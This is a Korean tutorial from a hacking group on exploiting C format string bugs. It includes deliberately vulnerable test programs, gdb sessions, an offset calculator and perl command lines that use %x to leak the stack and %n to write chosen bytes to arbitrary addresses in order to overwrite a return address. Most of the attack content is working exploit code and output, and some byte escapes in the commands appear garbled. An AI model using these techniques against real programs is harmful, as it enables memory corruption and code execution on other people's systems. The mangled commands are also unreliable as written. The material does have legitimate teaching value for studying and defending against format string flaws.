따라서 바뀌기 때문에 가능한한 정확한 값을 넣어야 한다.
[wdc@Null2Root fsb]$ gdb test7
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set args < file
(gdb) b main
Breakpoint 1 at 0x80485e7
(gdb) r
Starting program: /home/wdc/fsb/test7 < file
Breakpoint 1, 0x80485e7 in main ()
(gdb) bt
#0 0x80485e7 in main ()
#1 0x4003598b in __libc_start_main (main=0x80485e4 <main>, argc=1, argv=0xbffff994,
init=0x80482c0 <_init>,
fini=0x804863c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff98c)
at ../sysdeps/generic/libc-start.c:92
(gdb) x/10 $ebp
0xbffff948: 0xbffff968 0x4003598b 0x00000001 0xbffff994
0xbffff958: 0xbffff99c 0x40013868 0x00000001 0x08048350
0xbffff968: 0x00000000 0x08048371
(gdb)
여기서 main()의 ret addr이 0xbffff948+4 = 0xbffff94c임을 알수 있다. 그럼 원래 vuln화일
을 실행시켰을때 같은 ret addr를 같은가? 항상 그렇지는 않다. 그렇지만 쉽게 찾을수 있다.
이유는 ret addr가 움직일때 일정한 간격을 두고 움직이기 따문이다. 그간격은 0x10이다.
그러니까 만약 위의 0xbffff94c가 맞지 않으면 0x10씩 증감하면서 ret addr를 찾으면 된다.
다른 쉽게 찾을수 있는 편법이 있는데 그것은 %x에 의해 출력된 값중에 sf의 값이 출력되는데
이것과 ret addr와는 일정한 간격을 유지하므로 이를 이용해서 찾을수 있다. 그것은 여기서
자세히 소개하지 않겠다. 각자 알아서 좀더 자세한 방법을 연구해 보길 바란다.
이것을 format string bug에 대한 강좌를 마친다. 쓰다가 보니 잘 표현되지 못한 부분들이
있으나 기본 개념을 잡을수 있도록 최대한 노력하였다. 이 강좌로 우리 Null@Root 그룹원들이
format string bug를 이해하는데 조금이나마 도움이 되었으면 하는 바람이다.
2000.12.25 성탄절 아침에 Willy in Null@Root
_______________________________________________________________________________
Format String Bug에 대하여 최근 여러 곳에서 문서가 발표되고 있으나 실제로 적용
할려고 하면 많은 어려움이 있다. 여기서는 비전문가 입장에서 이해한 기본적인
format string bug의 개념과 적용방법에 대하여 상세한 예제를 통하여 최대한 쉽게
이해할 수 있도록 설명하도록 노력했다. 또한 Mainsource newbie16과 bonus2문제를
차이점에 대한 설명과 bonus2 문제에서 사용한 input type이 argument 방식인 경우에
특징들을 자세히 설명하였다.
혹시 내용중 문의사항이 있으면 Willy(jeazon@hanmail.net)에게 Mail 바람.
예제에 대한 결과는 RadHat6.2계열인 Adelinux6.2에서 수행된 결과임.
-------------------------------------------------------------------------------
1. Format string bug(FSB)이란?
Format string(FS) 이란 일반적으로 Data를 일정한 형태로 받아들이거나 출력하기 위하
여 사용하는 기호 정도로 이해하면 될것 같다. 예를 들면 %d, %f, %c, %s, %x, %p....
이 FS는 printf(),sprintf(),vprintf()등에 쓸때 printf("%d",i)처럼 변수와 같이 쓰이
면 변수값을 일정한 형태로 출력하는 기능을 하지만 printf("%x")처럼 변수없이 쓰게
되면 메모리의 값들을 순서대로 출력하게되므로 메모리 구조를 파악할수 있으며, %n과
%hn의 covert Formar String를 이용하여 특정 메모리위치에 특정값을 변경할수 있는 Bug
이다. 그러므로 Bug를 막기 위해서는 program상에서 사용자가 Format String를 변경할
수 있는 구조로 쓰지 말아야 한다.
2. Format string %n의 기능은?
Format String %n은 Format String Bub의 핵심이된다 왜냐면 이 %n게 있어야 특정주소에
특정값을 넣을수 있기때문인다.이해를 돕기 위하여 간단한 예제(Test1.c)를 만들어 보자.
// test1.c by willy in Null@Root
main()
{
int i=1234;
printf("Before i=%d
",i);
printf("I'm Willy%n
",&i);
printf("After i=%d
",i);
}
[wdc@Null2Root fsb]$ gcc test1.c -o test1
[wdc@Null2Root fsb]$ ./test1
Before i=1234
I'm Willy
After i=9
[wdc@Null2Root fsb]$
실행결과 i값이 바뀐것을 볼수 있다. 바뀐후에 i=9 값은 "I'm Willy"의 글자수 (공백
포함)임을 알수 있다. 그럼 %n은 어떻게 작용하는가? 위의 test1.c 예제에서 %n대신에
%x를 넣고 다시 실행해 보자.
[wdc@Null2Root fsb]$ cc test1.c -o test1
[wdc@Null2Root fsb]$ ./test1
Before i=1234
I'm Willybffff9c4
After i=1234
[wdc@Null2Root fsb]$
%n을 %x로 했으때 출력된 0xbffff9c4는 변수 i의 주소이고 그 주소에 값으로 %n앞쪽에
글자 만큼의 수를 넣은 것이다. 바꿔말하면 %x를 넣었을때 주소가 출력된다면 %x대신
%n을 넣으면 출력되었던 주소의 값으로 출력된 문자의 수가 들어간다는 것이다.
(이것이 전체 Format string bug을 이해하는데 가장 중요함.)
3. %n을 이용하여 원하는 값을 넣기
위에서 %n을 이용하여 어떤 주소에 값을 넣는 방법을 알았다. 이제 내가 원하는 값을
어떤 주소에 넣는 방법을 이해해 보자. 가장 쉽게 생각해볼수 있는 방법은 아래 예제와
같이 %n 앞에 문자를 내가 원하는 만큼 넣는 방법이 있다.
// test2.c by willy in Null@Root
main(int argc, char *argv[])
{
int i=1234;
printf("Before i=%d
",i);
printf("%s%n
",argv[1],&i);
printf("After i=%d
",i);
}
[wdc@Null2Root fsb]$ cc test2.c -o test2
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAA
Before i=1234
AAAAAAAAAA
After i=10
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAABBBBBBBBBB
Before i=1234
AAAAAAAAAABBBBBBBBBB
After i=20
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAABBBBBBBBBBCCCCCCCCCC
Before i=1234
AAAAAAAAAABBBBBBBBBBCCCCCCCCCC
After i=30
[wdc@Null2Root fsb]$
그런데 이렇게 해서 원하는 값(주소값)을 얻으려면 많은 노가다가 필요한데 간단한
방법이 없을까? 결론부터 말한다면 물론 있다. 힌트는 공백(스페이스)도 문자로 인식
하여 갯수를 Count한다는 것이다. %s에 자리수를 지정하는 것이다. 즉 %nrS 이렇게 해
주면 nr개의 자리를 공백으로 잡기깨문에 nr만 조정하여 쉽게 원하는 값을 만들어 낼
수 있다. 위의 test2.c의 printf("%s%n
",argv[1],&i)에서 %s대신에 %1000s으로 바꾼
뒤에 바꾼뒤 실행해 보자.
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAA
Before i=1234
{990개의 공간후에}AAAAAAAAAA
After i=1000
[wdc@Null2Root fsb]$
위의 결과 argv개수와 관계없이 i=1000으로 나오는 것을 볼수 있다. (실 입력값이 1000
개이상이 될때까지 계속 i=1000을 유지할 것임) 즉 자리수만의 조절으로 값을 변경할
수 있는 것을 알수 있었다. 그러나 우리가 넣기 원하는 값은 주소(예 0xbffff770)값
으로 큰값이므로 한번에 넣을수는 없다. 나누어 넣는 방법을 생각해 보자.
주소는 4바이트로 구성되어 있으며 앞에서부터 작은 값이 쓰여기게 된다. 이 4바이트를
1 또는 2 바이트 단위로 쪼개서 Data를 넣으면 작은 자리수를 넣어서 우리가 원하는 값
을 넣을수 있다. 예를 들어서 ret addr가 0xbffff920이고 넣어야 값이 0xbffff770이라
하면, 실제로 값들은 0xbffff920, 0xbffff921, 0xbffff922, 0xbffff923 4바이트에 채워
지게 되고 들어가는 값은 70, f7, ff, bf이 된다. 그러므로 기본 addr에 1바이트씩
증가시키며 data를 %n write하면 순차적을 overwrite가 되면서 처음 1바이트 data만
남게된다.
아래 test3 예제를 보면 쉽게 이해할수 있다.
// test3.c by willy in Null@Root
main()
{
long p, i=1234;
printf("Before i=%d
",i);
p = &i;
printf("I'm Willy%n%n%n%n
",p,p+1,p+2,p+3);
printf("After i=%x
",i);
}
[wdc@Null2Root fsb]$ ./test3
Before i=1234
I'm Willy
After i=9090909
[wdc@Null2Root fsb]$
위의 test3 실행결과 을 도식으로 표현해 보면 다음과 같다.
Address A A+1 A+2 A+3 A+4 A+5 A+6
Write to A: 0x09 0x00 0x00 0x00
Write to A+1: 0x09 0x00 0x00 0x00
Write to A+2: 0x09 0x00 0x00 0x00
Write to A+3: 0x09 0x00 0x00 0x00
Memory: 0x09 0x09 0x09 0x09 0x00 0x00 0x00
즉 A주소는 A+1에 의해서, A+1은 A+2에 의해서,.... overwirte가 되어서 최종적으로
i의 값은 0x09090909가 됨을 알수 있다. 결론적으로 1byte씩 나누어서 data를 쓰게되면
쓰는 값에 처음 1바이트값(0xbffff770이라고하면 0x70)만이 의미가 있다는 뜻이다.
자 이제 test3를 조금 수정해서 우리가 원하는 값(0xbffff770)을 넣는 프로그램을 한번
만들어 보자. 방법은 추가할 부분은 %n앞에 숫자를 조절해줄 format string을 더 삽입
하고 자리수를 조절하여 우리가 원하는 값을 만들면 된다. 아래 test4.c를 보자.
// test4.c by willy in Null@Root
main()
{
long p, i=1234, ch=1;
printf("Before i=%d
",i);
p = &i;
printf("%112d%n%135d%n%8d%n%192d%n
",ch,p,ch,p+1,ch,p+2,ch,p+3);
printf("After i=%x
",i);
}
[wdc@Null2Root fsb]$ ./test4
Before i=1234
{스페이스를 포함한 1을 4번 출력한뒤.....}
After i=bffff770
[wdc@Null2Root fsb]$
여기에서 자릿수로 쓴 112,135,8,192에 대하여 어떻게 계산하는지에 대하여 알아볼
필요가 있다. 첫번째 112는 0x70을 10진수로 바꾼 값이다. 그다음 135은 어떻게 나왔
을까? 그것은 두번째값 0xf7값을 써야되는대 앞에서 0x70을 이미 출력했으므로 추가분
인 0x87(0xf7 - 0x70)의 10진수 값이 135을 썼다. 세번째 값도 같은 방법으로 계산해
보면 8차이남을 알수 있다. 마직막 192같은 경우는 0xbf - 0xff를 하면 음수(-)가
나타나게 되므로 0xbf에 0x100을 더한뒤에 0xff를 뺀값이다. 이것을 도식으로 보면
Address A A+1 A+2 A+3 A+4 A+5 A+6
Write to A: 0x70 0x00 0x00 0x00
Write to A+1: 0xf7 0x00 0x00 0x00
Write to A+2: 0xff 0x00 0x00 0x00
Write to A+3: 0xbf 0x01 0x00 0x00
Memory: 0x70 0xf7 0xff 0xbf 0x01 0x00 0x00
이렇게 해서 우리는 A의 addr값으로 0xbffff770을 쓸수 있다. 자릿수를 계산하는 방법
을 정리해 보면 "쓰고 싶은 값을 10진수로 바꾸어 쓴다. 만약 전에 써진수가 있으면
빼고, 그값이 음수(-)가 되면 0x100을 더한다."
이렇게 해서 %n을 이용하여 우리가 원하는 값을 특정 주소에 쓰는 방법을 배웠다.
%n과 같은 기능을 하는 %hn이 있다. 이것은 차이는 단지 %n는 1 word (4바이트)에 쓰고
%hn은 half word (2바이트)에 쓰는 것이다.
4. Input 으로 format string을 쓸때 특성
지금까지 %n의 특성을 이해하였다. 이제부터는 실제 프로그램상에서 format string
이 input형태로 쓰일때 어떻특성이 있는지 예제들을 통하여 이해해 보도록하자.
먼저 간단한 예제(test5.c)를 만들어서 보자.
// test5.c by Willy in Null@Root
main(int argc, char *argv[])
{
char buf[100];
int a,b,c,d;
strcpy(buf,argv[1]);
printf(buf);
}
[wdc@Null2Root fsb]$ cc test5.c -o test5
[wdc@Null2Root fsb]$ ./test5 "%x %x %x %x %x %x"
400143e0 bfffffea bffff94f 20 25207825 78252078
[wdc@Null2Root fsb]$
서두에서 말한것처럼 %x을 연속해서 입력해서 출력결과를 보면 메모리영역의 data들이
순서대로 출력되는 것을 볼수 있다. 이번에는 맨 앞에 AAAA를 쓴뒤 그 뒤에 %x를 써보
면 재미있는 결과를 볼수 있다.
[wdc@Null2Root fsb]$ ./test5 "AAAA %x %x %x %x %x %x"
AAAA 400143e0 bfffffea bffff93f 20 41414141 20782520
[wdc@Null2Root fsb]$
출력된 결과를 살펴보면 AAAA 뒤에 4개의 data가 출력되고 A의 16진수값인 0x41이 연속
해서 4개 출력된 것을 볼수 있다.. 자 그럼면 아래와 같이 AAAABBBBCCCCDDDD를 쓴뒤
%x 몇개를 쓰고 실행해 보자.
[wdc@Null2Root fsb]$ ./test5 "AAAABBBBCCCCDDDD %x %x %x %x %x %x %x %x"
AAAABBBBCCCCDDDD 400143e0 bfffffea bffff92f 20 41414141 42424242 43434343 444444
[wdc@Null2Root fsb]$
역시 4개의 data가 출력되고 그 뒤에 41414141 42424242 43434343 44444444 가 출력된
다. 이것은 AAAA BBBB CCCC DDDD의 16진수 값들이다. 즉 우리가 쓴 AAAABBB...data들이
쓰여지는 것을 %x를 통하여 볼수 있다는 것이다. 그럼 AAAA... 대신에 주소값을 쓰면
어떻게 될까? perl을 써서 주소를 써보자 (perl을 쓴이유는 주소를 code로 넣기 위해)
"0xbffff920"이라는 주소를 처음에 쓰고 그다음에 %x %x 을 넣어보자.
[wdc@Null2Root fsb]$ perl -e 'system "./test5","x20xf9xffxbf %x %x %x %x %x"'
??400143e0 bfffffe4 bffff93f 20 bffff920
[wdc@Null2Root fsb]$
예상했던대로 4개의 data를 출력한뒤 5번째 %x에 의해 0xbffff920주소가 출력됐다.
이제 %n과의 연계성을 생각해 보자. 5번재 %x대신에 %n을 쓰면 어떻게 될까? 그렇다.
앞에서 배운것과 같이 0xbffff920에 35(왜냐하면 공백을 포함해서 출력된 수가 35임)가
쓰여질 것이다...
5. %n 이용하여 특정위치에 원하는 값 넣기
이제까지 %n의 기능과 format string이 program의 input data로 쓰였을때 특성을 알아
보았다. 이제부터는 %n을 이용하여 특정위치에 임의의 값을 넣어 보자. 먼저 위의
예제 test5에 그 주소 값의 변화를 확인하기 위해서 dumpcode를 프로그램에 넣어 보자.
(참고로 dumpcode.h는 www.plus.or.kr에서 구할수 있다)
// test6.c by Willy in Null@Root
#include "dumpcode.h"
main(int argc, char *argv[])
{
char buf[100];
int a,b,c,d;
strcpy(buf,argv[1]);
printf(buf);
dumpcode((char*)0xbffff920,4);
}
[wdc@Null2Root fsb]$ cc test6.c -o test6
[woot fsb]$ perl -e 'system "./test6","x20xf9xffxbf %x %x %x %x %x
"'
??400143e0 bfffffe4 bffff93f 20 bffff920
0xbffff920 48 f9 ff bf H...
[wdc@Null2Root fsb]$
다섯번째 %x를 넣었을때 0xbffff920의 값은 0xbffff948이다. 그럼 %x 대신에 %n을
넣고 실행해보자.
[wl2Root fsb]$ perl -e 'system "./test6","x20xf9xffxbf %x %x %x %x %n
"'
??400143e0 bfffffe4 bffff93f 20
0xbffff920 23 00 00 00 #...
[wdc@Null2Root fsb]$
0xbffff920의 값이 0x00000023(십진수 35)로 변경되었다..
이제 0xbffff920의 주소에 임의의 값 0xbffff770을 넣는 것을 해보자. 이것을 하기에
두가지 애기를 먼저 하고 넘어 가야한다. 하나는 주소를 4개로 나누기 위해 해야할
일과 다른 하나는 자리수 계산 방법이다.
주소를 4개로 나누고 각각에 값을 조절하기 위해서는 각각 %c와 같은 format string을
뒤야 한다... 즉 %c%n%c%n%c%n%c%n 식으로 배열하여야 하며 그렇게 하기 위해서는
주소를 써주는 앞부분에 %c가 만나는 부분에 자리를 마련하 줘야 한다.
즉 AAAA+주소1+BBBB+주소2+CCCC+주소3+DDDD+주소4 %x %x %x %x %c%n%c%n%c%n%c%n
처음 AAAA는 첫번째 %c와 매치되고, 주소1은 첫번째 %n과 매치, BBBB는 두번째 %c와
만나도록 조정하는 일이 필요하다. 다시 test6 예제를 보자. %n 대신에 %x를 넣고 실행을
해보면 아래와 같이 주소1(0xbffff920), 주소2(0xbffff921), 주소3(0xbffff922), 주소4
(0xbffff923)이 %x에 의해 출력된 결과를 볼수 있다.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9
xffxbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf %x %x %x %x %c %x %c %x %c %x
%c %x
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??400143e0 bfffffe4 bffff90f 20 A bffff920 B
bffff921 C bffff922 D bffff923
0xbffff920 02 00 00 00
[wdc@Null2Root fsb]$
%x로 정확히 주소들이 출력되는 것을 확인한뒤 %x 대신에 %n을 써 넣은뒤 실행을 해 보자.
[wdc@Null2Root fsb]$
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9
xffxbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf %x %x %x %x %c %n %c %n %c %n
%c %n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??400143e0 bfffffe4 bffff90f 20 A B C D
0xbffff920 41 44 47 4a ADGJ
[wdc@Null2Root fsb]$
값이 바뀐것을 확인할수 있다.. 여기서 0x41은 %n 앞부분 출력된 문자수 (AAAA.......20)
이고 그다음 부터는 3씩 증가("A ","B ","C "에 의해)된 것을 볼수 있다.
이제 주소를 4개로(1바이트씩) 나누어 쓰는것에 대해서는 이해를 했다. 그다음 문제는 초기
에 쓰여지는 값(0x41)을 계산할수 있는가? 현재 방법으로는 어렵다... 단지 출력된 결과를
세어서 그값을 알수 있는 방법밖에는 없다. 왜냐면 %x에 의해서 출력된 값의 자리수가
일정하지 않기 때문이다. 위 결과를 보면 %x에 의해 출력된 값은 "400143e0 bfffffe4
bffff90f 20" 이다. 여기에서 처음 3값은 8자리, 그리고 끝값(20)은 2자리이다. 이것들은
메모리에 들어가 있는 값을 그냥 출력하기때문에 몇자리 값이 나올지 예상을 할수 없다.
그렇다면 방법이 없는 것일까? 물론 있다. 그것은 자리수를 최대수로 고정시키는 방법이다.
%x에 의해 출력되는 값의 최대자리수는 8자리이다. 그러므로 최대자리수로 고정키면 작은
값은 공백을 출력하게 되므로 갯수를 계산해 낼수 있다. 다음은 %8x로 공정시키고 %x들
사이의 공간을 없앤 후의 결과 이다.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9xff
xbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf%8x%8x%8x%8x%c%n%c%n%c%n%c%n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??00143e0bfffffe4bffff90f 20ABCD
0xbffff920 41 42 43 44 ABCD
[wdc@Null2Root fsb]$
초기값이 0x41이 나왔고 %c에 의해 한문자씩 증가되어 0x42,0x43,0x44가 나타났다.. 그럼
초기값을 계산해보자. 먼저 AAAA(4)+주소1(4)+BBBB(4)+주소2(4)+CCCC(4)+주소3+DDDD(4)+
주소4(4)+%x4개(4*8=32)+%c(1) = 32+32+1 = 65 = 0x41 위의 결과와 계산결과가 정확히 일치
하는 것을 볼수 있다.
자 그럼 이제부터 본격적으로 0xbffff920주소에 0xbffff770를 넣는 것을 해보자.. 위의
결과에 정확한 %c의 자리수만 써주면 모든 것은 끝난다. 이제부터 계산하는 방법을 보자.
알고있는 값은 먼저 넣어야 할 값은 0xbffff770이므로 메모리에는 "70 f7 ff bf" 이렇게
들어가게 되고 초기값은 0x41이다. 첫번째 %c의 자리수를 이용하여 0x70을 만들어야 하므
로 0x70-(0x41 - 1) = 0x30(48)을 써주면 된다.(여기서 1을 뺀 것은 초기값에 %c값 1이
포함) 두번째 %c의 자리수는 0xf7-0x70 = 0x87(135) 세번째 %c는 0xff - 0xf7 = 0x08(8).
네번째는 0xbf - 0xff = - 0x40로 음수(-)가 되므로 0x100을 더하여 0xc0(192)가 된다.
%c의 자리수 계산하는 프로그램을 간단히 작성하면..
// calc.c by Willy in Null@Root
main()
{
int x,a1,a2,a3,a4;
int init,c1,c2,c3,c4;
printf("Input %%x수, a1, a2, a3, a4
");
scanf("%d%x%x%x%x",&x,&a1,&a2,&a3,&a4);
init = 32 + x*8 + 1;
c1 = a1 - (init - 1); if(c1<0) c1 = c1 + 0x100;
c2 = a2 - a1; if(c2<0) c2 = c2 + 0x100;
c3 = a3 - a2; if(c3<0) c3 = c3 + 0x100;
c4 = a4 - a3; if(c4<0) c4 = c4 + 0x100;
printf(" init = %x (%d)
", init,init);
printf(" c1 = %x (%d)
", c1,c1);
printf(" c2 = %x (%d)
", c2,c2);
printf(" c3 = %x (%d)
", c3,c3);
printf(" c4 = %x (%d)
", c4,c4);
}
[wdc@Null2Root fsb]$ cc calc.c -o calc
[wdc@Null2Root fsb]$ ./calc
Input %x수, a1, a2, a3, a4
4 70 f7 ff bf <- 입력한 data
init = 41 (65)
c1 = 30 (48)
c2 = 87 (135)
c3 = 8 (8)
c4 = c0 (192)
[wdc@Null2Root fsb]$
자 이제 모든 준비 작없이 끝났다. 이제 %c의 자리수값을 넣고 test6.c을 수행해 보자.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9xff
xbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf%8x%8x%8x%8x%48c%n%135c%n%8c%n%192c%n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??00143e0bfffffe4bffff90f 20 {출력내용 일부중략}
0xbffff920 70 f7 ff bf p...
[wdc@Null2Root fsb]$
주소 0xbffff920에 우리가 원했던값 0xbffff770이 써진것을 확인할수 있다. 이것으로
format sting에 대한 기본 개념은 다 끝났다. 이제 우리는 원하는 주소에 원하는 값을 넣을
수 있는 능력을 가지게 되었다.
다음에는 argv input data가 바로 printf()에 쓰일때 (메인소스 bonus2문제와 같은)에 처리
방법과 Return address와 Shellcode위치찾기에 대하여 애기해 보도록 하겠다...
6. argv가 바로 printf()로 출력될때 (메인소스 보너스2문제와 같은)
이번에는 argv로 data를 받아들이고 이것을 바로 printf()에 쓰는 경우에 대하여 알아보도
록 하자.(일반적으로 현재 나와있는 locale format string bug같은 것이 여기에 포함)
argv가 바로 쓰인는 경우 위에서 설명했던 방법보다 3가지 정도 고려해야 하는 것이 있다.
1) argv와 sp(stack pointer)사이에 거리가 멀어서 %x를 많이 써야한다(보통 90 ~ 120)
2) argv와 sp사이가 항상 4의 배수가 아니므로 align을 써야 한다.
3) argv의 input되는 문자수에 따라 buf의 사이즈가 달라진다.
먼저 예제(test7.c)를 한번 보도록 하자.
// test7.c by Willy in Null@Root
#include "dumpcode.h"
main(int argc, char *argv[])
{
printf(argv[1]);
dumpcode((char*)0xbffff920,4);
}
[wdc@Null2Root fsb]$
[wdc@Null2Root fsb]$ cc test7.c -o test7
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x"
AAAAbffff9684003598b2bffff994bffff9a04001386828048350080483710
xbffff920 20 00 00 00 y...
[wdc@Null2Root fsb]$
10정도의 %x를 넣었을때 0x41414141이 나타나지 않으므로 나올때까지 입력을 시도해 보자.
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
AAAAbffff8c84003598b2bffff8f4bffff90040013868280483500804837180485e42bffff8f480482
c0804863c4000ae60bffff8ec40013e902bffffa0abffffa120bffffacfbffffaf1bffffaffbffffb12
bffffb1ebffffb35bffffb4ebffffb5fbffffb6dbffffba8bffffbb4bffffbc3bffffbd8bffffc13bf
fffc26bffffc36bffffc3fbffffc4ebffffc57bffffc6abffffc82bffffc95bffffca2bffffce8bfff
fcf9bffffd06bffffd18bffffd2cbffffd34bfffffea03804803442056610007400000008098048350
b1f4c1f4d1f4e1f410383fbfffbffffa0500000000383669002f2e0036747365744141003778254141
0xbffff920 6d fb ff bf m...
[wdc@Null2Root fsb]$
%x를 92개를 넣었을때 0x4141이 나타나기 시작했다. 그러나 잘 보면 0x41이 두개로 나누어
져 있는 것을 볼수 있다. 이것은 argv와 sp사이가 4bytes의 배수가 아니기 때문에 나타나는
것이다. 이것을 맞추기 위해서는 align이 필요하다.(0 ~ 3개) 위의 argv의 끝에 AA를 추가
해보자.
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%xAA"
AAAAbffff8c84003598b2bffff8f4bffff90040013868280483500804837180485e42bffff8f480482
c0804863c4000ae60bffff8ec40013e902bffffa08bffffa100bffffacfbffffaf1bffffaffbffffb1
2bffffb1ebffffb35bffffb4ebffffb5fbffffb6dbffffba8bffffbb4bffffbc3bffffbd8bffffc13b
ffffc26bffffc36bffffc3fbffffc4ebffffc57bffffc6abffffc82bffffc95bffffca2bffffce8bff
ffcf9bffffd06bffffd18bffffd2cbffffd34bfffffea0380480344205661000740000000809804835
0b1f4c1f4d1f4e1f410383fbfffbffffa0300000006900000036383665742f2e377473414141417825
7825AA
0xbffff920 6d fb ff bf m...
[wdc@Null2Root fsb]$
자 이제는 0x41이 4개가 나란히 배열된것을 확인할수있다. 그런데 가만히 보면 0x41414141
뒤에 8개의 data가 늘어난 것을 볼수 있다. 이것은 AA를 추가함으로서 argv의 size가 늘어
났기 때문이다. 그럼 argv의 글자수에 따라서 size가 바뀌고 따라서 주소의 정확한 위치도
바뀌게 되니까. 한가지를 고정시켜야만 수렴시킬수 있겠죠. 그방법은 최종적으로 쓸형식을
모두 가춘 최종 형태가 되어야 한다. 즉
ABCD+주소1+ABCD+주소2+ABCD+주소3+ABCD+주소4+ %8x...... %001c+%n+.....%001c+%n
여기서 ABCD로 쓴것은 나중에 %c로 출력된 결과로 위치를 볼수있으므로(출력결과가 A A A
A 로 나와야 자리가 맞은것임), 뒤에 %001c이렇게 쓴 이유는 %숫자c에 올수있는 최대값이
0x1ff = 511일수 있으므로 미리 자리를 확보하기 위해서이면 만약 나중에 작은 값(예 50)을
써야 되면 %050c 이런식으로 앞에 "0"을 붙이면 된다. 이렇게 최종 형식을 만든뒤 %n대신
에 %x를 넣고 %8x와 align을 이용하여 정확한 주소자리를 맞추면 된다.
이제 예제를 가지고 임의의 주소 0xbffff920의 정확한 위치를 찾아 보자. 역시 주소를
넣어주기 위해서 perl을 쓰자.
[wdc@Null2Root fsb]$ perl -e 'system "./test7","ABCDx20xf9xffxbfABCDx21xf9xff
xbfABCDx22xf9xffxbfABCDx23xf9xffxbf%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%001c%x%001c%x
%001c%x%001c%x"'
ABCD ?풞BCD!?풞BCD"?풞BCD#?풺ffff8284003598b 2bffff854bffff86040013868
2 8048350 0 8048371 80485e4 2bffff854 80482c0 804863c4000ae60bffff84c40
013e90 2bffff970bffff978 0bffffac9bffffaebbffffaf9bffffb0cbffffb18bffff
b2fbffffb48bffffb59bffffb67bffffba2bffffbaebffffbbdbffffbd2bffffc0dbffffc20bffffc30
bffffc39bffffc48bffffc51bffffc64bffffc7cbffffc8fbffffc9cbffffce2bffffcf3bffffd00bff
ffd12bffffd26bffffd2ebfffffe4 0 3 8048034 4 20 5
6 6 1000 740000000 8 0 9 8048350 b 1f4
c 1f4 d 1f4 e 1f4 10 383fbff fbffff96b 0
0 0 0 0 0 0 0 069000000 36383665742f2e
377473Abffff920Abffff921Abffff922Abffff923
0xbffff920 f4 01 00 00 ....
[wdc@Null2Root fsb]$
출력된 마지막 부분의 내용을 보고 정확히 맞았는지 확인할수 있다.
"Abffff920Abffff921Abffff922Abffff923" %c에 의해 A가 4번 출력되고 %x의해 주소들이
정확히 나타남을 알수 있다. 이제 자리른 정확히 맞았다.. 이제 할일은 치환만 하면된다.
즉 %x를 %n으로 바꾸고 각 %c의 자리수를 계산하여 치환하여 넣으면 된다. 이때 절대로
문자의 증감이 있어선 안된다.(문자의 증감이 있으면 자리가 바뀌니)
이제 0xbffff770으로 바꾸기 위해 %c의 자리수를 계산해 보자. 먼저 초기값 구하는 공식은
init = 32(AAAA들과 주소들) + %x수*8 + align수 + 1 (%c 초기값) = 32+92*8+0+1 = 0x301
세번째자리이상은 필요없으므로 0x301 - 0x300 = 0x01이다.
c1 = 0x70 - (0x01 - 1 ) = 0x70, c2 = 0xf7 - 0x70 = 0x87... 이렇게 해서 c1 = 0x70(112)
, c2 = 0x87(135), c3 = 8(8), c4 = c0 (192) 이므로 치환해서 실행하면 된다.
(만약 align을 사용한 경우에는 초기값 계산시 포함하여야 한다.)
[wdc@Null2Root fsb]$ perl -e 'system "./test7","ABCDx20xf9xffxbfABCDx21xf9xff
xbfABCDx22xf9xffxbfABCDx23xf9xffxbf%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%112c%n%135c%n
%008c%n%192c%n"'
